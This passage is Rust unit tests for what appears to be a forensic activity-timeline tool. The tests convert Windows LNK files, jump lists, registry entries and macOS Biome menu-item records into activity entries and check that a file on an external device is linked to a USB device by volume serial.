1764        assert!(acts.iter().any(|a| a.action == Action::Typed));
1765        assert!(acts.iter().any(|a| a.action == Action::Accessed));
1766        assert!(acts.iter().all(|a| a.source == SourceKind::Registry));
1767        assert!(acts.iter().all(|a| a.actor.as_deref() == Some("alice")));
1768    }
1769
1770    #[test]
1771    fn registry_source_adapter_dispatches() {
1772        let ua_entries = [ua("cmd.exe", 1, None)];
1773        let s = RegistrySource::new(&ua_entries, &[], &[], None);
1774        let acts = s.activities();
1775        assert_eq!(acts.len(), 1);
1776        assert_eq!(acts[0].source, SourceKind::Registry);
1777    }
1778
1779    // ── LNK adapter (v0.2) ────────────────────────────────────────────────────
1780
1781    use lnk_core::{LinkInfo, ShellLink, ShellLinkHeader, StringData, VolumeId};
1782
1783    fn shell_link(
1784        local_base_path: Option<&str>,
1785        drive_serial: Option<u32>,
1786        write_time: i64,
1787        net_name: Option<&str>,
1788    ) -> ShellLink {
1789        let volume_id = drive_serial.map(|s| VolumeId {
1790            drive_type: lnk_core::drive_type::REMOVABLE,
1791            drive_serial_number: s,
1792            volume_label: None,
1793        });
1794        let cnrl = net_name.map(|n| lnk_core::CommonNetworkRelativeLink {
1795            net_name: Some(n.to_string()),
1796            device_name: None,
1797        });
1798        ShellLink {
1799            header: ShellLinkHeader {
1800                link_flags: 0,
1801                file_attributes: 0,
1802                creation_time: 0,
1803                access_time: 0,
1804                write_time,
1805                file_size: 0,
1806                icon_index: 0,
1807                show_command: 1,
1808                hotkey: 0,
1809            },
1810            link_target_idlist: None,
1811            link_info: Some(LinkInfo {
1812                volume_id,
1813                local_base_path: local_base_path.map(ToString::to_string),
1814                common_network_relative_link: cnrl,
1815            }),
1816            string_data: StringData::default(),
1817            tracker: None,
1818        }
1819    }
1820
1821    #[test]
1822    fn lnk_target_becomes_accessed_file_with_volume_serial() {
1823        let links = [shell_link(
1824            Some("E:\\secret.docx"),
1825            Some(0xDEAD_BEEF),
1826            1_700_000_000,
1827            None,
1828        )];
1829        let acts = from_lnk(&links, Some("alice"));
1830        assert_eq!(acts.len(), 1);
1831        let a = &acts[0];
1832        assert_eq!(a.action, Action::Accessed);
1833        assert_eq!(a.source, SourceKind::LnkFile);
1834        // The target write time becomes the activity timestamp.
1835        assert_eq!(a.timestamp, Some(1_700_000_000));
1836        assert_eq!(a.actor.as_deref(), Some("alice"));
1837        // The File subject carries the structured volume serial (the join key).
1838        assert_eq!(
1839            a.subject,
1840            Subject::File {
1841                path: "E:\\secret.docx".to_string(),
1842                volume_serial: Some(0xDEAD_BEEF),
1843            }
1844        );
1845    }
1846
1847    #[test]
1848    fn lnk_without_volume_id_has_no_serial() {
1849        let links = [shell_link(Some("C:\\x.txt"), None, 0, None)];
1850        let acts = from_lnk(&links, None);
1851        assert_eq!(acts.len(), 1);
1852        assert_eq!(
1853            acts[0].subject,
1854            Subject::File {
1855                path: "C:\\x.txt".to_string(),
1856                volume_serial: None,
1857            }
1858        );
1859        // write_time 0 (the FILETIME "not set" sentinel) → no timestamp.
1860        assert_eq!(acts[0].timestamp, None);
1861    }
1862
1863    #[test]
1864    fn lnk_network_target_falls_back_to_unc_path() {
1865        // No local_base_path, but a CommonNetworkRelativeLink net name → use it.
1866        let links = [shell_link(None, None, 5, Some("\\\\server\\share"))];
1867        let acts = from_lnk(&links, None);
1868        assert_eq!(acts.len(), 1);
1869        assert_eq!(
1870            acts[0].subject,
1871            Subject::File {
1872                path: "\\\\server\\share".to_string(),
1873                volume_serial: None,
1874            }
1875        );
1876    }
1877
1878    #[test]
1879    fn lnk_without_link_info_is_skipped() {
1880        // A link with no LinkInfo and no usable target is dropped, not crashed.
1881        let mut link = shell_link(None, None, 0, None);
1882        link.link_info = None;
1883        let acts = from_lnk(&[link], None);
1884        assert!(acts.is_empty());
1885    }
1886
1887    fn destlist(path: &str, host: &str, last_access: i64) -> lnk_core::DestListEntry {
1888        lnk_core::DestListEntry {
1889            droid_volume_guid: String::new(),
1890            droid_file_guid: String::new(),
1891            birth_droid_volume_guid: String::new(),
1892            birth_droid_file_guid: String::new(),
1893            hostname: host.to_string(),
1894            entry_number: 1,
1895            last_access,
1896            pinned: false,
1897            access_count: Some(3),
1898            path: path.to_string(),
1899        }
1900    }
1901
1902    #[test]
1903    fn jumplist_automatic_entry_becomes_accessed_file() {
1904        // An automatic-destinations entry: the DestList records the target path,
1905        // the MRU last-access time, and the origin host; the embedded link carries
1906        // the volume serial (the device join key).
1907        let link = shell_link(
1908            Some("C:\\Users\\bob\\q3.xlsx"),
1909            Some(0x1234_5678),
1910            1_700_000_000,
1911            None,
1912        );
1913        let lists = [lnk_core::JumpList {
1914            kind: lnk_core::JumpListKind::Automatic,
1915            app_id: Some("1b4dd67f29cb1962".to_string()),
1916            entries: vec![lnk_core::JumpListEntry {
1917                destlist: Some(destlist("C:\\Users\\bob\\q3.xlsx", "WS01", 1_700_000_500)),
1918                link,
1919            }],
1920        }];
1921        let acts = from_jumplists(&lists, Some("bob"));
1922        assert_eq!(acts.len(), 1);
1923        let a = &acts[0];
1924        assert_eq!(a.action, Action::Accessed);
1925        assert_eq!(a.source, SourceKind::JumpList);
1926        // The DestList last-access time is authoritative (preferred over the link's
1927        // write_time) — it is the precise per-target MRU access timestamp.
1928        assert_eq!(a.timestamp, Some(1_700_000_500));
1929        assert_eq!(a.actor.as_deref(), Some("bob"));
1930        assert_eq!(
1931            a.subject,
1932            Subject::File {
1933                path: "C:\\Users\\bob\\q3.xlsx".to_string(),
1934                volume_serial: Some(0x1234_5678),
1935            }
1936        );
1937    }
1938
1939    #[test]
1940    fn jumplist_custom_entry_falls_back_to_embedded_link() {
1941        // A custom-destinations entry has no DestList: the path and timestamp come
1942        // from the embedded shell link, exactly like a loose .lnk.
1943        let link = shell_link(
1944            Some("D:\\report.pdf"),
1945            Some(0xAABB_CCDD),
1946            1_690_000_000,
1947            None,
1948        );
1949        let lists = [lnk_core::JumpList {
1950            kind: lnk_core::JumpListKind::Custom,
1951            app_id: None,
1952            entries: vec![lnk_core::JumpListEntry {
1953                destlist: None,
1954                link,
1955            }],
1956        }];
1957        let acts = from_jumplists(&lists, None);
1958        assert_eq!(acts.len(), 1);
1959        assert_eq!(acts[0].source, SourceKind::JumpList);
1960        assert_eq!(acts[0].timestamp, Some(1_690_000_000));
1961        assert_eq!(
1962            acts[0].subject,
1963            Subject::File {
1964                path: "D:\\report.pdf".to_string(),
1965                volume_serial: Some(0xAABB_CCDD),
1966            }
1967        );
1968    }
1969
1970    #[test]
1971    fn jumplist_network_target_falls_back_to_unc_path() {
1972        // No local_base_path and no DestList: the embedded link's
1973        // CommonNetworkRelativeLink net name supplies the target path.
1974        let link = shell_link(None, None, 1_695_000_000, Some("\\\\nas\\team\\plan.docx"));
1975        let lists = [lnk_core::JumpList {
1976            kind: lnk_core::JumpListKind::Custom,
1977            app_id: None,
1978            entries: vec![lnk_core::JumpListEntry {
1979                destlist: None,
1980                link,
1981            }],
1982        }];
1983        let acts = from_jumplists(&lists, None);
1984        assert_eq!(acts.len(), 1);
1985        assert_eq!(
1986            acts[0].subject,
1987            Subject::File {
1988                path: "\\\\nas\\team\\plan.docx".to_string(),
1989                volume_serial: None,
1990            }
1991        );
1992    }
1993
1994    #[test]
1995    fn jumplist_source_adapter_dispatches() {
1996        let link = shell_link(Some("C:\\x.docx"), Some(7), 1_700_000_000, None);
1997        let lists = [lnk_core::JumpList {
1998            kind: lnk_core::JumpListKind::Automatic,
1999            app_id: Some("1b4dd67f29cb1962".to_string()),
2000            entries: vec![lnk_core::JumpListEntry {
2001                destlist: Some(destlist("C:\\x.docx", "WS01", 1_700_000_500)),
2002                link,
2003            }],
2004        }];
2005        let s = JumpListSource::new(&lists, Some("bob"));
2006        let acts = s.activities();
2007        assert_eq!(acts.len(), 1);
2008        assert_eq!(acts[0].source, SourceKind::JumpList);
2009        assert_eq!(acts[0].actor.as_deref(), Some("bob"));
2010    }
2011
2012    #[test]
2013    fn lnk_source_adapter_dispatches() {
2014        let links = [shell_link(Some("E:\\f"), Some(1), 1, None)];
2015        let s = LnkSource::new(&links, None);
2016        let acts = s.activities();
2017        assert_eq!(acts.len(), 1);
2018        assert_eq!(acts[0].source, SourceKind::LnkFile);
2019    }
2020
2021    // ── The volume-serial join activates end-to-end (LNK File ⋈ Device) ───────
2022
2023    #[test]
2024    fn lnk_file_joins_connected_device_on_volume_serial() {
2025        let links = [shell_link(
2026            Some("E:\\loot.zip"),
2027            Some(0xCAFE_F00D),
2028            100,
2029            None,
2030        )];
2031        let conns = [device(
2032            "USBSTOR\\Disk",
2033            Bus::Usb,
2034            Some(50),
2035            Some(0xCAFE_F00D),
2036        )];
2037        let lnk = LnkSource::new(&links, Some("alice"));
2038        let devices = DeviceSource::new(&conns);
2039        let timeline = build_timeline(&[&lnk, &devices]);
2040        let findings = audit(&timeline);
2041        let f = findings
2042            .iter()
2043            .find(|f| f.code == "USERACT-FILE-ON-EXTERNAL-DEVICE")
2044            .expect("file-on-external-device must fire when serials match");
2045        assert_eq!(f.severity, Some(Severity::Medium));
2046        assert_eq!(f.category, Category::Threat);
2047    }
2048
2049    // ── from_biome_menu_items ─────────────────────────────────────────────────
2050
2051    #[test]
2052    fn menu_item_record_becomes_menu_selected_activity() {
2053        let records = [segb::menuitem::AppMenuItemRecord {
2054            application: Some("Finder".to_string()),
2055            menu_item: Some("Move to Trash".to_string()),
2056            timestamp_unix: Some(1_700_000_000.0_f64),
2057        }];
2058        let acts = from_biome_menu_items(&records, Some("alice"));
2059        assert_eq!(acts.len(), 1);
2060        let a = &acts[0];
2061        assert_eq!(a.action, Action::MenuSelected);
2062        assert_eq!(a.source, SourceKind::BiomeMenuItem);
2063        assert_eq!(a.timestamp, Some(1_700_000_000_i64));
2064        assert_eq!(a.actor.as_deref(), Some("alice"));
2065        assert_eq!(
2066            a.subject,
2067            Subject::Command("Finder: Move to Trash".to_string())
2068        );
2069        assert_eq!(a.detail, "Finder: Move to Trash");
2070    }
2071
2072    #[test]
2073    fn menu_item_record_no_actor() {
2074        let records = [segb::menuitem::AppMenuItemRecord {
2075            application: Some("TextEdit".to_string()),
2076            menu_item: Some("Save\u{2026}".to_string()),
2077            timestamp_unix: Some(1_700_000_100.0_f64),
2078        }];
2079        let acts = from_biome_menu_items(&records, None);
2080        assert_eq!(acts.len(), 1);
2081        assert_eq!(acts[0].actor, None);
2082        assert_eq!(acts[0].detail, "TextEdit: Save\u{2026}");
2083        assert_eq!(
2084            acts[0].subject,
2085            Subject::Command("TextEdit: Save\u{2026}".to_string())
2086        );
2087    }
2088
2089    #[test]
2090    fn menu_item_record_without_application_uses_bare_menu_item() {
2091        // No owning application: the label is the bare menu-item text, unqualified.
2092        let records = [segb::menuitem::AppMenuItemRecord {
2093            application: None,
2094            menu_item: Some("Empty Trash".to_string()),
2095            timestamp_unix: Some(1_700_000_300.0_f64),
2096        }];
2097        let acts = from_biome_menu_items(&records, None);
2098        assert_eq!(acts.len(), 1);
2099        assert_eq!(acts[0].detail, "Empty Trash");
2100        assert_eq!(acts[0].subject, Subject::Command("Empty Trash".to_string()));
2101    }
2102
2103    #[test]
2104    fn menu_item_record_with_no_menu_item_is_skipped() {
2105        // A record without menu_item carries no actionable label — skip it.
2106        let records = [segb::menuitem::AppMenuItemRecord {
2107            application: Some("Finder".to_string()),
2108            menu_item: None,
2109            timestamp_unix: Some(1_700_000_200.0_f64),
2110        }];
2111        let acts = from_biome_menu_items(&records, None);
2112        assert!(acts.is_empty(), "records with no menu_item must be skipped");
2113    }
2114
2115    #[test]
2116    fn menu_item_record_with_no_timestamp_yields_none_timestamp() {
2117        let records = [segb::menuitem::AppMenuItemRecord {
2118            application: Some("Safari".to_string()),
2119            menu_item: Some("Open in New Tab".to_string()),
2120            timestamp_unix: None,
2121        }];
2122        let acts = from_biome_menu_items(&records, None);
2123        assert_eq!(acts.len(), 1);
2124        assert_eq!(acts[0].timestamp, None);
2125    }
2126
2127    #[test]
2128    fn biome_menu_item_source_adapter_dispatches() {
2129        let records = [segb::menuitem::AppMenuItemRecord {
2130            application: Some("Mail".to_string()),
2131            menu_item: Some("Reply".to_string()),
2132            timestamp_unix: Some(1_700_001_000.0_f64),
2133        }];
2134        let src = BiomeMenuItemSource::new(&records, None);
2135        let acts = src.activities();
2136        assert_eq!(acts.len(), 1);
2137        assert_eq!(acts[0].source, SourceKind::BiomeMenuItem);
2138    }
2139}